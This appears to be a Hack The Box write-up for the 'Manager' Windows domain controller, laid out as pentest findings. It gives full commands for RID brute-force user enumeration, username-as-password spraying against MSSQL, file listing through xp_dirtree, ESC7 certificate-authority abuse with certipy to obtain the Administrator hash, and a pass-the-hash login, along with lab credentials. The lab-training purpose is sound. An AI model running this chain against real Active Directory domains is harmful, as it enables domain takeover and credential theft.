Hack The Box Manager Writeup (Easy Windows)
Easy Windows AD box. A RID brute finds operator using its own name as a password, MSSQL xp_dirtree leaks a web backup, and ESC7 mints the Administrator.
Summary
Manager is a Windows domain controller that also runs MSSQL and IIS. An anonymous SMB session allows a RID brute force, listing zhong, cheng, ryan, raven, jinwoo, chinhae and operator, and trying those names as their own passwords hits operator. Through mssqlclient, xp_dirtree walks the filesystem and exposes website-backup-27-07-23-old.zip sitting in C:\inetpub\wwwroot, which the web server will simply hand over. That archive contains .old-conf.xml with raven’s still valid password R4v3nBe5tD3veloP3r!123, good for an evil-winrm session. raven can manage the certificate authority, so certipy adds raven as a CA officer, enables the SubCA template, requests a certificate with administrator@manager.htb as the UPN and then issues its own pending request. Authenticating with that certificate returns the Administrator NT hash for a pass the hash login.
export IP=10.10.11.236
Service Enumeration
| IP Address | TCP Ports Open |
|---|---|
| 10.10.11.236 | 53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 1433, 3268, 3269, 5985 |
Aditional ports:
1
2
3
4
5
6
7
8
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49681/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49682/tcp open msrpc syn-ack Microsoft Windows RPC
49683/tcp open msrpc syn-ack Microsoft Windows RPC
49715/tcp open msrpc syn-ack Microsoft Windows RPC
49782/tcp open msrpc syn-ack Microsoft Windows RPC
52185/tcp open tcpwrapped syn-ack
Active Directory
BS01: Username Enumeration
Vulnerability Explanation: It is possible to enumerate valid AD users by bruteforcing RID’s. Such information should be hidden at all costs from attackers, as it can be used to help them perform more sophisticated attacks.
Severity: High
Vulnerability Fix: (…)
Steps to Reproduce the Attack:
- Run
crackmapexecagainst the target infrastructure:crackmapexec smb manager.htb -u anonymous -p "" --rid-brute - Create a
users.txtfile:
1
2
3
4
5
6
7
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
Microsoft SQL Server
BS02: Weak Credentials
Vulnerability Explanation: User operator has a weak password, allowing an attacker to log in remotely to the MSSQL service on port 1433.
Severity: Elevated
Vulnerability Fix: Change password for operator immediately and enforce a strong password policy across the entire domain.
Steps to Reproduce the Attack:
- Follow the instructions from BS01 to get users
- Run
crackmapexec mssql manager.htb -u users.txt -p users.txt --no-brute
Note: This is not the only service accessible by operator, using the same credentials to log in to the smb server is also possible.
BS03: Information Disclosure
Vulnerability Explanation: It is possible to list files using specific commands in a MSSQL shell, and this led to the disclosure of a (otherwise) hidden compressed backup, accessible via the web server (80/tcp).
Severity: Elevated
Vulnerability Fix: (…)
Steps to Reproduce the Attack:
- Use a mssql client to interact with the target server, in this case, we are going to be using
impacket:mssqlclient.py manager.htb/operator:operator@manager.htb -dc-ip dc01.manager.htb -windows-auth - List directories:
EXEC MASTER.sys.xp_dirtree 'C:\', 1, 1 - Locate the hidden backup file at:
C:\inetpub\wwwroot - Download the backup file for further analysis:
wget http://manager.htb/website-backup-27-07-23-old.zip
Web Server (80/tcp)
BS04: Hardcoded Credentials
Vulnerability Explanation: After downloading the backup (refer to BS03), we’re able to find a file named .old-conf.xml, which contains hardcoded credentials for user raven. Those credentials are still valid, and it is possible to log in to the system using a tool like evil-winrm.
Severity: High
Vulnerability Fix: (…)
Steps to Reproduce the Attack:
- Decompress the backup file:
unzip website-backup-27-07-23-old.zip - Read the contents of
.old-conf.xml:cat .old-conf.xml
1
2
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
Post Exploitation
BS05: Local Privilege Escalation (LPE) to Administrator
Vulnerability Explanation:
Steps to Reproduce the Attack:
- Add raven as officer:
certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' - And then,
certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' - Request the certificate: `certipy-ad req -username raven@manager.htb -password ‘R4v3nBe5tD3veloP3r!123’ -ca ‘manager-DC01-CA’ -target manager.htb -template SubCA -upn administrator@manager.htb``
certipy-ad ca -ca 'manager-DC01-CA' -issue-request <IR> -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 27- Finally, get administrator’s NTLM hash:
certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236 - Log in as administrator using its hash:
evil-winrm -i 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef